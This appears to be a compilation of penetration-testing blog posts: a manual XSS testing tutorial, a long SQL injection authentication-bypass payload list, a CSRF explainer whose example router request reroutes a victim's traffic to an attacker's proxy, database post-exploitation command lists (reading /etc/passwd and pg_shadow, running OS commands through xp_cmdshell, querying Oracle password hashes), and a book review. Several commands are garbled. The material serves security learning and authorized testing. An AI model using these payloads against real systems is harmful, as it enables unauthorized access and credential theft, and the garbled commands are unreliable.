Testing for XSS without BURP

I've been playing around with a lot of different web applications as of late both with and without using Burp Suite, I've never really wanted to always rely on using tools for everything sometimes its good to know the manual process of doing something which is something that i challenge myself on a daily basis. In this tutorial i'm going to show you how to Test for  Cross Site Scripting (XSS) manually without having to use Burp or Zed Attack Proxy. The sample web application that i'm using to manually test for  Cross Site Scripting (XSS)  is the web scan test website which is located at http://webscantest.com/ this site is where you can practice with Cross Site Scripting (XSS)  SQL In jection (SQLi) etc etc ... Anyone that is learning web application hacking should check it out as a starter along with Mutillidae II.  Well that's enough rambling from me lets get to the XSS :).

When testing for XSS  I always begin with sending normal input characters to the web application in order to get a better understanding on how the web application functions, For example i just used the name chuck as my input to send over to the web application. 

After sending hitting the submit button i received the following output from the web application.

After receiving the javascript message, I quickly did a view source from the browser in this case i'm using Firefox but any browser can be used when viewing the source of a web page.

 As shown below in the source of the web application, My input of chuck has landed in the html context of the application right between the 'noscript' tags. which does not allow any JavaScript to execute.

Now that i know that my input will show up in html context, I understand that in order to get my custom JavaScript code to execute i'm going to have to break out of the 'noscript' tags and then inject my code right after breaking out. I can now begin to test for Cross Site Scripting (XSS) using the following characters below. Note: This is just the test string that i used  you can  use any characters to test to see what characters are allowed as input with the web application that your testing.

 In order to break out of html tags im going to need the following characters " <>.  As shown below the web application allows the input of the following characters -- <>" '  which is awesome because i know that this application is vulnerable to Cross Site Scripting (XSS). 

The following payload was used to break out of the noscript tags and injection my custom JavaScript 

Well hopefully this tutorial will help someone realize that tools are not always needed in order to manually test for Cross Site Scripting (XSS).

SQL Injection Authentication Bypass Cheat Sheet

During a penetration test i sometimes find myself testing for SQL injection authentication bypass within a web application and i got tired of search all over the place looking for different payloads, so i decided to create my own payload list. Hopefully someone who comes across this list might find it useful, and remember this is a growing list that i plan on expanding on. So enjoy happy payloading.



or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Understanding Cross-Site Request Forgery (CSRF)

This is just a quick guide to Understanding Cross-Site Request Forgery and how it works and how can it be prevented.  So without wasting any more time lets get to it :).


So What is Cross-Site Request Forgery  RARRRRRRRRRR

Cross-Site Request Forgery (CSRF) is an attack outlined in the OWASP Top 10 whereby a malicious website will send a request to a web application that a user is already authenticated against from a different website. This way an attacker can access functionality in a target web application via the victim's already authenticated browser. Targets include web applications like social media, in-browser email clients, online banking and web interfaces for network devices.

Key Concepts of Cross-Site Request Forgery

• Malicious requests are sent from a site that a user visits to another site that the attacker believes the victim is validated against.
• The malicious requests are routed to the target site via the victim’s browser, which is authenticated against the target site.
• The vulnerability lies in the affected web application, not the victim’s browser or the site hosting the CSRF.

Executing a CSRF Attack

In a Cross-Site Request Forgery attack, the attacker is exploiting how the target web application manages authentication. For CSRF to be exploited, the victim must be authenticated against (logged into) the target site. For instance, let’s say I just bought a new home wireless router. Like most wifi routers, it’s configured through a web interface. The router was shipped to me with an internal IP address of 192.168.1.1. I’m having trouble configuring the router though, and fortunately the folks over at somemalicioussite.com have published a guide that shows me exactly what buttons to click in the router interface to get everything set up securely. The attackers have also set up a proxy server at 123.45.67.89 that will log all traffic that goes through it and look for things like passwords and session tokens.

As I clicked through the configuration guide, "I missed the 1x1 pixel image that failed to load:"

http://192.168.1.1/admin/config/outsideInterface?nexthop=123.45.67.89”

alt=”pwned” height=”1” width=”1”/>

The attackers knew that when I was reading their tutorial, I would be logged into the router interface. So they had the CSRF attack set up in the tutorial. With that request, my router would be reconfigured so that my traffic will be routed to their proxy server where they can do all manner of bad things with it.

Preventing Cross-Site Request Forgery (CSRF) Vulnerabilities

The most common method to prevent Cross-Site Request Forgery (CSRF) attacks is to append unpredictable challenge tokens to each request and associate them with the user’s session. Such tokens should at a minimum be unique per user session, but can also be unique per request. By including a challenge token with each request, the developer can ensure that the request is valid and not coming from a source other than the user.

Finding and Remediating Cross-Site Request Forgery (CSRF) Vulnerabilities

The easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.

Post Exploitation The Database Edition

As a web app pentester there is nothing more annoying then encountering a database that you have never worked with before and having to search all over the net for post exploitation commands in order to gather more information. So This is just a small list that i put together for myself and as time goes on this list will grow and i will continue to update this post. I hope this small list can help someone else out during a web app penetration test.


Postgres Post Exploitation Commands

select version();
select current_database();
select current_user;
select session_user;
select current_setting('log_connections');
select current_setting('log_statement');
select current_setting('port');
select current_setting('password_encryption');
select current_setting('krb_server_keyfile');
select current_setting('virtual_host');
select current_setting('port');
select current_setting('config_file');
select current_setting('hba_file');
select current_setting('data_directory');
select * from pg_shadow;
select * from pg_group;
create table myfile (input TEXT);
copy myfile from '/etc/passwd';
select * from myfile;copy myfile to /tmp/test;


DB2 Post Exploitation Commands

select versionnumber, version_timestamp from sysibm.sysversions;
select user from sysibm.blah;
select session_user from sysibm.blah;
select system_user from sysibm.blah;
select current server from sysibm.blah;
select name from sysibm.systables;
select grantee from syscat.dbauth;
select * from syscat.tabauth;
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
select name, tbname, coltype from sysibm.syscolumns;
SELECT schemaname FROM syscat.schemata;

MS SQL Post Exploitation Commands

select @@version
select @@servernamee
select @@microsoftversione
select * from master..sysserverse
select * from sysusers
exec master..xp_cmdshell 'ipconfig+/all'
exec master..xp_cmdshell 'net+view'
exec master..xp_cmdshell 'net+users'
exec master..xp_cmdshell 'ping+'
BACKUP database master to disks='\\\\backupdb.dat'
create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select
* from myfile"--


Oracle Post Exploitation Commands

SELECT • FROM v$version;
SELECT version FROM v$instance;
SELECT instance name FROM v$instance;
SELECT name FROM v$database;
SELECT DISTINCT owner FROM all tables;
SELECT user FROM dual;
SELECT username FROM all users ORDER BY username;
SELECT column name FR0l1 all tab columns; SELECT table name FROM all tables;
SELECT name,-password, astatus FROt1 SJS.user$;

SELECT DISTINCT grantee FR0t1 dba SfS_prlvS WHERE ADlHN OPTION I YES;

SQL injection - Attacks and defense second edition by Justin Clarke

As my journey to becoming a very solid web application penetration tester continue's just taking the time out to  blog about the SQL Injection Attacks and Defense (Second Edition book). If you don't have this book in your library i would recommend you pick up a copy. This book is an excellent resource if you want to learn the in's and outs of SQL injection and how it works.  I've summarized each chapter of the book so without further ado lets get into it.


This book has 10 chapters

Chapter 1 - What is SQL injection?

This is just basic introduction to the topic of the book. Its kinda of a weird chapter, But I would recommend that you read it and re-read it at the end.


Chapter 2 - Testing for SQL injection

This chapter looks at SQL injection from a hackers perspective and shows how to find SQL injection samples in a web application thats connected to a database. This is a nice intro to the rest of the book. It provides useful tips about displayed SQL errors in MS SQL server, MySQL and Oracle.

Chapter 3 - Reviewing code for SQL injection

This chapter looks at SQL injection from a "developer's point of view and shows how to follow user data through lines of PHP, Java and C# code. The end of the chapter mentions some source code analysis tools like YASCA or the MS Source Code Analyzer for SQL Injection.

Chapter 4 - Exploiting SQL injection

This chapter talks about exploiting SQL injection using steps such as identifying the database, extracting data through UNION statements, using conditional statements, enumerating the database schema, escalating privileges, stealing password hashes, out-of-band communication

Chapter 5 - Blind SQL injection exploitation

This chapter talking about Using time-based, binary search, bit-by-bit inference and response=based techniques, they present ways to infer knowledge out of the interaction with a database.

Chapter 6 - Exploiting the operating system

This chapter discusses ways to read and write files and execute OS commands.

Chapter 7 - Advanced topics

This chapter describes ways to evade input filters, to exploit second-order SQL injection and to use hybrid attacks.

Chapter 8 - Code-level defenses

This is the chapter that "developers" should read without any doubt. The key to avoid SQL injection attacks is to completely code the access to a database based on customised parameters that are out of the users' reach. The authors propose a series of recommendations to validate input and to encode output.

Chapter 9 - Platform-level defenses

Together with excellent coding practices, there are some measures, related to the operating platform, that we can take to avoid SQL injection. These are, for example, using web application firewalls, web server filters, IDSs and securing the database itself.

Chapter 10 - This chapter is the chapter every "white hat hacker" should have at hand when assessing a web app connected to a database. It is a great reference of SQL commands and SQL injection tweaks for SQL Server, MySQL, Oracle, PostgreSQL and even DB2.
one.

Again i would recommend this book to anyone who is serious about really learning about sql injection.